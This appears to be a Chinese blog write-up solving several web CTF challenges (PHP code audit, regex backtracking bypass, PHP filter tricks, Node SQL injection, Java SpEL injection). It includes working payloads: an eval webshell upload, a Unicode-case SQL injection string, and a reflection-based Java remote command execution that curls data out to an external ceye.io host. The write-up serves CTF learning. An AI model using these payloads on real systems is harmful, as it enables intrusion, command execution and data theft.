前言
这个是知识星球里面的一个比赛,一开始的时候事情多,没及时做,最近刷ph牛的文章看到这个比赛,找来复现一下
function
题目
function这题是一个php代码审计题,题目很短
1 2 3 4 5 6 7 8 9
<?php $action = $_GET['action' ] ?? '' ; $arg = $_GET['arg' ] ?? '' ; if (preg_match('/^[a-z0-9_]*$/isD' , $action)) { show_source(__FILE__ ); } else { $action('' , $arg); }
可以看到,题目想要我们输入两个参数绕过正则,然后就可以执行任意命令了
题解
寻找可利用字符
我们先审计源码,可以看到如果传过来action
和arg
那就分别赋值,然后对action
进行正则表达式过滤 先看正则表达式
1 2 3 4
/^[a-z0-9 _]*$/isD /i 忽略大小写 /s 匹配任何不可见字符 /D 如果正则表达式用$限制结尾字符,则不允许结尾有换行
所以我们现在就要找一个开头不是字母数字和下划线的值,同时还要可以正常地执行函数 因此我们先fuzz一下
1 2 3 4 5 6 7 8 9 10 11
import requestsfor i in range(0 ,256 ):s= hex(i)[2 :] if len(s)<2 :s = '%0' +s else :s = '%' +s url = 'http://xiaorouji.cn:8087/?action=' +s+'var_dump&arg=find' r = requests.get(url=url).content if 'find' in r:print s
跑出来%5c
可以成功绕过,原因p神在小密圈说了
1 2
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
寻找getshell函数
接下来的利用我们就要用到create_function
函数了 在官方手册中它是这样的
1
create_function ( string $args , string $code ) : string
这个函数由两个参数组成,第一个是函数名,第二个是函数内的代码。官方例子如下
1 2 3 4 5
$newfunc = create_function('$a,$b' , 'return "ln($a) + ln($b) = " . log($a * $b);' ); 实际上也就是 function test ($a,$b) { return "ln($a) + ln($b) = " .log($a*$b); }
也可以简单理解成
1 2 3
create_function($_GET['args' ],$_GET['code' ]); $a = 'function __lambda_func(' .$_GET['args' ].'){' .$_GET['code' ].'}\0' ; eval ($a);
顺便看一下create_function
的源码也可以看到第一个参数是用(
闭合的,第二个是用{
闭合的
getflag
剩下的就是闭合以及利用了,尝试一下能不能得到phpinfo
接下来就是getshell了,尝试下利用system函数 发现被禁了,那就试下scandir函数 成功getflag(这个flag是在上一层的目录上
parewaf
这个题目依旧很短,考的是php的正则特性
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php function is_php ($data) { return preg_match('/<\?.*[(`;?>].*/is' , $data); } if (empty ($_FILES)) { die (show_source(__FILE__ )); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR' ]); $data = file_get_contents($_FILES['file' ]['tmp_name' ]); if (is_php($data)) { echo "bad request" ; } else { @mkdir($user_dir, 0755 ); $path = $user_dir . '/' . random_int(0 , 10 ) . '.php' ; move_uploaded_file($_FILES['file' ]['tmp_name' ], $path); header("Location: $path" , true , 303 ); }
可以看到,这是一个上传文件的代码 首先拿到了文件会先判断是不是里面有没有php代码,如果有就返回bad request
,否则就新建一个路径为data/md5($_SERVER['REMOTE_ADDR'])
,然后将文件命名为randon_int(0,10).php
存储在新建的文件夹里面,最后将存储路径在http头里面返回过来
题解
分析正则
首先我们先看一下他的正则表达式
的匹配过程 可以看到它先是从前面匹配了<?
,接下来的.*
将所有都匹配了,然后还需要匹配就要回溯回去前面,因此一直回溯到前面的>
完成符号匹配,然后从该点开始向后进行匹配,完成最后的.*
匹配 而同时,php为了防止正则表达式的拒绝服务攻击,设置了一个回溯次数的上限 而如果回溯次数超过1000000的时候,它的返回就变成了false了
payload
既然已经知道要怎么绕过漏洞点了,接下来就是写payload了
1 2 3 4 5 6 7 8 9
import requestsfrom io import BytesIOfile = { 'file' : BytesIO('<?php eval($_POST["cmd"]);//' + 'a' *1000010 )} res = requests.post('http://xiaorouji.cn:8088/' ,files=file,allow_redirects=False ) print res.headers['Location' ]
拿到了shell文件目录以后就是利用了 getflag√
phpmagic
这个题目让人感觉略为懵逼,但是找到源码就做起来舒服了
题目
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
if (isset ($_GET['read-source' ])) { exit (show_source(__FILE__ )); } define('DATA_DIR' , dirname(__FILE__ ) . '/data/' . md5($_SERVER['REMOTE_ADDR' ])); if (!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755 , true ); } chdir(DATA_DIR); $domain = isset ($_POST['domain' ]) ? $_POST['domain' ] : '' ; $log_name = isset ($_POST['log' ]) ? $_POST['log' ] : date('-Y-m-d' ); if (!empty ($_POST) && $domain): $command = sprintf("dig -t A -q %s" , escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME' ] . $log_name; if (!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php' , 'php3' , 'php4' , 'php5' , 'phtml' , 'pht' ], true )) { file_put_contents($log_name, $output); } echo $output; endif ;
题解
审计源码可以看到,文件名和文件内容我们都是可以知道的,但是文件内容会经过htmlspecialchars
,所以想直接传个小马是8可能的,但是php有一个特性,只要能进行文件传输的地方,基本是都是能进行协议流的传输的,我们先本地尝试一波 果然可以写文件,那么现在问题来了,文件名前面会加上$_SERVER['SERVER_NAME']
,同时后缀几乎全部过滤了,还有就是文件内容也不是完全可控的 首先文件名前面加上的$_SERVER['SERVER_NAME']
,我们可以通过修改Host
的值达到控制的目的 接下来,我们想要绕过后缀要用到一个黑魔法 ,所以我们只要在文件名后面加个\.
就可以绕过限制了 最后是文件内容不可控,但是我们可以看到,我们传过去的是base64编码的,在php伪协议解码的时候,遇到不规范的字符是会自动跳过解码的,因此我们只需要填充前面的规范字符使前面的字符是4的倍数,就能成功的让我们想写的shell文件成功解码了 先找一下前面的字符 可以看到规范字符ltltgtgtDiG9959deb8u15DebianltltgtgttAq
刚好40位,4的倍数,所以直接加文件内容就行啦 接下来就是利用了 这样就能写进webshell了
phplimit
这道题目很短,满足了正则就能执行任意命令了
题目
1 2 3 4 5 6
<?php if (';' === preg_replace('/[^\W]+\((?R)?\)/' , '' , $_GET['code' ])) { eval ($_GET['code' ]); } else { show_source(__FILE__ ); }
题解
从正则表达式可以看到它会匹配字母和括号,接下来找一找能绕过的方法 可以看到只要最内层的函数没有参数的话,正则就能绕过,这里我们利用session去达到执行命令的目的session_id
,用来设置或者获取当前会话的id,对应PHPSESSID的值session_start
,用来创建新的会话或者重用现有会话 因此我们可以利用session_id(session_start())
,但是PHPSESSID只允许字母数字和下划线,所以要将字符换下编码 最后就是利用了 还有一个其他师傅的payload
1
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
巨强
nodechr
一进去就是一大堆代码……
题目
首先审计源码可以看到题目将flag放进去数据库,然后让用户登录进去,先贴一波关键源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
function safeKeyword (keyword ) { if (isString(keyword) && !keyword.match(/(union|select|;|\-\-)/i s)) { return keyword } return undefined } async function login (ctx, next ) { if (ctx.method == 'POST' ) { let username = safeKeyword(ctx.request.body['username' ]) let password = safeKeyword(ctx.request.body['password' ]) let jump = ctx.router.url('login' ) if (username && password) { let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()} ' AND "password" = '${password.toUpperCase()} '` ) if (user) { ctx.session.user = user jump = ctx.router.url('admin' ) } } ctx.status = 303 ctx.redirect(jump) } else { await ctx.render('index' ) } }
可以看到他将union
和select
那些过滤了,所以想直接读flag有点难,但是我们可以看到有个toUpperCase
函数,看下ph牛的这篇文章 ,因此我们可以利用这些字符写payload 最终payload
1 2 3 4 5 6 7 8 9
import requests,base64url = "http://xiaorouji.cn:8085/login" data = { "username" : "admin" , "password" : "0' unıon ſelect 1,flag,3 from flags where '1'='1" } res = requests.post(url,data=data).content print res
Javacon
这题我们首先可以拿到一个jar包,然后用idea反编译出来可以看到一堆的java代码,肉鸡枯了……. 先看一下目录结构,有5个类和一个配置文件 配置文件里面放了用户信息,因此我们用admin/admin
是可以登录进网站的 接下来就去看MainController
文件,这里只放重点函数 可以看到登录的时候,如果选了remember-me,就会将用户加密存储在cookie里面 接着admin会对跳转之后的cookie做处理,判断remember-me的值是否存在,如果存在就解密 验证过程上图,可以看见是先找黑名单,如果匹配出来返回FORBIDDEN
,否则就继续下面的语句,在SmallEvaluationContext
中进行SPEL
解析,又因为有黑名单java.+lang,Runtime,exec.*\(
,所以最后的利用字符串拼接和反射构造pop链 exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
package com.company;import javax.crypto.spec.IvParameterSpec;import java.util.Base64;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import org.slf4j.LoggerFactory;class Encryptor { static org.slf4j.Logger logger = LoggerFactory.getLogger(Encryptor.class); public static String encrypt (String key, String initVector, String value) { try { IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8" )); SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8" ),"AES" ); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING" ); cipher.init(1 , skeySpec, iv); byte [] encrypted = cipher.doFinal(value.getBytes()); return Base64.getUrlEncoder().encodeToString(encrypted); }catch (Exception e){ logger.warn(e.getMessage()); } return null ; } } public class Main { public static void main (String[] args) { System.out.println(Encryptor.encrypt("c0dehack1nghere1" , "0123456789abcdef" , "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cd / && ls|base64|tr \"\n\" \"-\"`'})}" )); System.out.println(Encryptor.encrypt("c0dehack1nghere1" , "0123456789abcdef" , "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cat flag_j4v4_chun|base64`'})}" )); } }
读目录 读flag
评论